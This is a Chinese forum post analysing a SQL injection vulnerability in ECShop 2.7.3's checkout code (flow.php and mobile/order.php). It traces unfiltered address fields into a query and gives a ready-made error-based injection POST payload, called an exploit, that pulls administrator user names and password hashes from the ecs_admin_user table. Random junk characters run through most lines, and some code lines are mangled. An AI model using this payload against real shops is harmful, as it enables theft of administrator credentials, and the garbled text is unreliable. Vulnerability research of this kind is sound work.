前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 h: h( t: u) U3 I, d
+ d7 J) i6 y* ?: S 漏洞关键文件:
# B' s1 g* W \4 R4 J ^7 _, }2 R: q# y1 X; W% j% G X2 d, ^
/includes/lib_order.php/ d- [! L* Z7 p8 x7 q
- [' S5 X0 D7 P( ^ 关键函数:
, E9 p) z3 d6 u! N8 t6 h
6 b# J6 ]" f& `( B8 ]
' C, ]2 P' x4 z, y- X u& k
w, q6 o1 J; Q' f) h8 s* C8 c: u01 function available_shipping_list($region_id_list)
# H& V5 W: x) |- C1 v O
# f# E' c* u5 X( S3 f02 {
1 t1 a! L2 N' ]5 M- d \* X- m
0 }% c/ N7 ?9 I8 ~+ E; w03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . - `% Y% j! ?0 X# E- m0 J
% D8 }; R6 z2 D: I% K* ]
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( }" ^- N0 u) h% G
& A& d* x b# K, Y2 R: K$ S05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . . J& x( ^, C$ \: a
9 v% U9 c% r b6 O7 g* K \6 T
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 3 b$ T# L, o. Q# b6 F1 X
/ j4 E8 Z- r& l# |: M# Y/ Y07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ' i! I; f2 W6 K
8 l% Y5 r9 z% P! W9 M
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
* O) O. |2 s0 `: K" X9 C5 Y# J3 i" i8 w! v% v8 [7 E
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; $ @* ]2 @ }2 w: o" D3 `
( h# T/ F. B& w; D) y10
& ~+ ^7 B# W/ p5 I! M4 B- p5 k2 e# x" ^
11 return $GLOBALS['db']->getAll($sql);
4 u# T* I& P* i$ m5 T0 {4 Y5 R' g9 n) |
12 }
, v7 e; n1 E3 ~+ E+ ]8 h O. G% K3 V8 j- @
显然对传入的参数没有任何过滤就带入了查询语句。
. }' r! B: P) w 5 {4 R) q& a0 s: f* l' F$ _
下面我们追踪这个函数在flow.php中:" T+ J" r: N5 y% {6 _3 B: |' i
第531行: 1 f! P2 ]3 u& t$ J% U
% {0 I2 F4 `8 q
1 $shipping_list = available_shipping_list($region); 5 h, y9 ^3 `: f0 H; m
- L4 ]6 M) E3 D5 N$ M) a( k & a# ~/ h ] F
9 I6 l5 c/ h- E
6 y9 k% H0 x" P9 F. F5 v
* E6 {! d# r# b, P再对传入变量进行追踪:. Y% ^& E1 r% l8 |9 J$ L! {, Y
) R; M4 O+ }2 p- c
第530行: ! f: A3 k: U5 @: h
7 j4 J# J' N7 ~7 s9 y5 X4 V
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); # M) P6 e) |# A) {0 Y9 ]0 j! h+ v6 A
1 M( M& y% u/ I) t$ L. Q1 D( w- |: M1 l
. G7 M$ s% e7 Y; u. F7 e* ^9 M% e. M, }
6 d0 [$ S; x. I" a; `- l7 X4 h
6 ?8 I+ ]4 ^2 ?! F* N第473行:
2 Z- t! b8 @+ a: V: Z+ v* B! m7 A& ]1 D; y' z4 P; p1 n2 o% c
1 $consignee = get_consignee($_SESSION['user_id']);
8 h% j( e# F- i! s5 b5 T! L Y X7 r5 a
到了一个关键函数:
1 ^% u9 E! {2 ^# R' c }# ^! @( i' U% X2 P0 F
/includes/lib_order.php
: k- @! P' C2 Z
, B' h! {$ l* ^
O* |. i2 ^& _) M* ?0 ^- b) O5 y( N h% o# [# V
( D5 D% C4 o" c) x( y& N1 a3 ~& Y3 Y) d) @( Y0 m
01 function get_consignee($user_id) 8 s5 I, [/ P( d9 |6 g% r! a- g
F' u; o# i7 U- E) p. W02 { 4 M) E+ D# [+ r C
. {+ }0 c$ h+ f% o& U( q
03 if (isset($_SESSION['flow_consignee'])) : } M/ q& g( l6 l" A% F* [
. j: I. J; b- m* g& [04 {
8 o% m" }( M- a& ~: G$ ?0 V8 ]
1 w5 C" H: f x' D05 /* 如果存在session,则直接返回session中的收货人信息 */ 9 l2 B3 L; Q" U8 \
y& G* i/ |! n! z8 F) J
06
4 j! V9 O$ {+ }) Q
' {0 q$ C* i+ R2 j$ f, s" @07 return $_SESSION['flow_consignee']; ' t# ]$ z3 N- Z* ]- }
6 P9 N7 h. ~; n( S& Y3 E' r0 E
08 }
& H( d0 Q( Q, R0 W2 n0 I5 v3 b8 K2 k6 a- S* R' f
09 else 7 B" c" n9 U, {
2 ?9 W7 E5 t3 E- L10 { 8 j: C8 q# K i5 k2 M+ W. P
& j" m* Z3 E4 E+ |
11 /* 如果不存在,则取得用户的默认收货人信息 */ 5 Z! V! \( p' w& y. P
. A7 y$ j6 e' z9 o
12 $arr = array(); " K l( R& u* l: m* g* _
; x E' `6 `0 d7 [- a, Z; A- e
13
$ f0 h0 Q+ n/ c( A2 g/ F6 q9 @ h! [; O1 ]0 U
14 if ($user_id > 0)
/ k9 P1 _+ I. y8 I/ }9 u2 p9 t1 C! w: G
15 { / V& Z1 c9 r7 j, B
+ [! M& ?1 g9 @16 /* 取默认地址 */ " t/ h* E" G" T2 ^$ g# `" j7 x
4 L. u4 R5 R9 w4 Y1 t3 k5 w17 $sql = "SELECT ua.*".
0 g" J& @% R0 d" [% C# c. K1 z7 M
5 O; V, ?& G+ W0 h0 X18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ! P9 a9 Y* C. ~! a3 q! r* h0 A4 A8 C
: E' @8 E& ?" ~1 Q
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; " e5 F7 |! W( Y" Z1 Q
% |1 P+ H# ]! i$ y
20 9 B2 H* ]* ~. Q7 R
6 I X8 m: Z& @/ f- e& n
21 $arr = $GLOBALS['db']->getRow($sql); / r, X1 i! Z6 V0 K' g- e6 n8 ^/ c
+ m4 ^7 _: H3 ?$ h( O4 O
22 } ! q' c8 F' ^ W% u, E6 r+ A3 h* ?; ?
; s) t2 B6 t g8 v2 p4 C23 % A$ B( R8 A7 w: ?" E8 t
* ^) z: Q7 A# q* Y24 return $arr;
+ Z; D2 j2 W! K! |/ @
% z- q0 C' p2 d25 }
. v& h4 y8 e6 \2 ]9 i. m! ~
5 M) \: l6 a5 ]( p, e5 W3 d( g& ]26 } 9 k1 d. J1 i+ Y" N
5 E. _9 P# @4 J0 l6 n9 D. h
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
7 P" {8 x' x; U4 x
+ ^8 F' p2 c6 y" V i: i7 V
% I: c! F. O; a3 M! a' R b% U
4 X5 ?% p, ~, C* Y6 O( {, P6 J关键点:( K' F `' u5 i; j: E( s
. h1 L) L; B$ U# z9 D: W5 ^
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
# H8 i; A( A7 W0 L: S4 O
& g8 k9 F/ `4 n( I, R这里对传入参数反转义存入$_SESSION中。
+ ^* t% ]9 u/ e9 S M8 f1 T3 k8 s. }- O2 M
( {& T) n) S3 l. _* F, q& ~) i1 T0 L
然后看下:- Z0 B+ r. V. r& f9 r
5 e) y5 ~/ a) v9 G% U
2 d/ q- M) r( X* u
1 X* \: q, x. t# \, ~% ~; @
* o ^! G) k) i' c* V* w: N2 v
% Y i; H! u& ^+ F% w01 $consignee = array(
- h& F% W! L$ ]; W) U* W. s. v& ^3 Y9 F# o
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
; [& b- K- l1 x$ Z, k
8 ^$ K8 i3 z4 d( N9 u6 _) E03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
: @# `0 E9 U+ {6 z7 \5 _
3 ]& e& x) T. K6 o$ W. h! _2 x( C0 G04 'country' => empty($_POST['country']) ? '' _POST['country'],
! A) [+ N% C+ }8 X% q4 e% {: F( @) A9 o# S" u$ ~
05 'province' => empty($_POST['province']) ? '' _POST['province'],
1 N+ A3 w2 N, W
6 C) }* M7 M b; `- g% q% i06 'city' => empty($_POST['city']) ? '' _POST['city'],
3 m' C% ~ W9 E9 e
. Y2 r% M2 Z9 n$ R07 'district' => empty($_POST['district']) ? '' _POST['district'],
& i3 M4 p# N3 D
8 p0 c2 f2 @/ d08 'email' => empty($_POST['email']) ? '' _POST['email'],
1 M% s4 c9 h# G; X! r5 G1 H
! b$ F5 K& b; m; \. y m09 'address' => empty($_POST['address']) ? '' _POST['address'],
, y% o: k, G6 M, f
0 L% t' u8 a- s* \2 j0 _. i; U2 B10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), & \: X- O7 O6 |# G2 Y
7 }1 p! D X4 ]: [+ r& S& k! S$ t
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ) V1 H1 J6 T! @
' } E& E0 n# o& N" m; t$ Z" Z
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), . T* h8 s+ N; i t }, c3 i! P
9 ~ Z; v* }. r9 O4 ~! g. H' ~
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 {+ z5 u7 y# R
6 D8 j8 |; K5 `1 F6 R14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
* x9 G% U3 U( S
: L+ ~4 R9 J1 S( I/ i15 );
0 F) B0 K+ d& ^4 V* m/ I8 v) F G M
好了注入就这样出现了。5 ?+ ]3 @9 Y% \+ ?0 \2 n3 M+ @0 g
9 ~$ z. a* O/ ]- A$ |& M# ^==================6 {* h* p: H7 T, a+ R
$ {: c$ k, I& Q% \9 D- n& N1 k5 G注入测试:3 \ `* X% g2 E$ m0 f9 o ^
1 n4 u$ s# I$ G' ^6 c+ V环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
1 _, Z; j: V, g) g5 G) Y0 `) _
+ d/ \1 Q2 U8 M# p' T5 m测试程序:ECShop_V2.7.3_UTF8_release1106- ^$ f7 f) K# d2 }, M
% C$ D5 e, _9 d w2 B . q2 @: [7 `' R5 t& G6 K
8 h& d/ } L1 r$ q. G! A( M$ h1.首先需要点击一个商品加入购物车
' w2 D8 v# H- z- v8 \. Y3 A* ~: H- ?; h6 j& H
2.注册一个会员帐号
- k, m: y6 r4 q5 {5 t
" j5 P- }# S" _3.post提交数据1 U5 c5 _* j/ N. ~
6 W( c6 y, n0 j0 m0 ]* Z4 C
4 \6 w. q+ T% e; A+ |% x2 l9 A; p( `+ q- V4 s
1 http://127.0.0.1/ecshop/flow.php 0 O% E; D% ]! S* l; @8 t& U+ p
5 q4 K9 R1 H9 c6 o; I+ w# p
2
& z0 \6 l$ A8 |; {! y+ }
0 a( r& } B, q# }) x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= * K% S) t K$ t; t4 z- z& F
举一反三,我们根据这个漏洞我们可以继续深入挖掘:+ S* H( Y) f% s1 S% G
! n2 a* l6 d+ Q
我们搜寻关键函数function available_shipping_list()6 T! K5 p) l5 y: p7 V% l
/ g8 y0 K* p3 y在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同$ h/ V5 }3 @ X9 v5 b* ]6 ?" d
8 i6 [: p+ Z- c n8 s利用exp:
e$ M, k* F$ y' o0 M% h% ?
- x) a# N' a" E5 E# i4 Z( L1.点击一个商品,点击购买商标$ j5 j: s4 Q) }) P: g+ A
: ?+ o+ b4 [9 _& k; E
2.登录会员帐号
. P2 {! O: b6 |. e4 J5 S$ C+ E" ^% x* ]- g: y" @- {
3.post提交:
( t, \- _' `( ^. y. G! O& h( D3 } ]; Y( x0 M& c& d
http://127.0.0.1/ecshop/mobile/order.php
5 h9 ?! [/ s' ]' ~/ @4 v
7 \3 ?; [# F- `' g/ [8 E4 l 6 X5 @' _% x8 {9 X3 _. W# k$ S! J8 l
1 ^8 {. [) D9 E2 }$ S7 C5 M$ u
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 g$ d( w4 ~ A" B/ u5 I+ V* e0 u6 i+ L7 _ b6 J9 [
|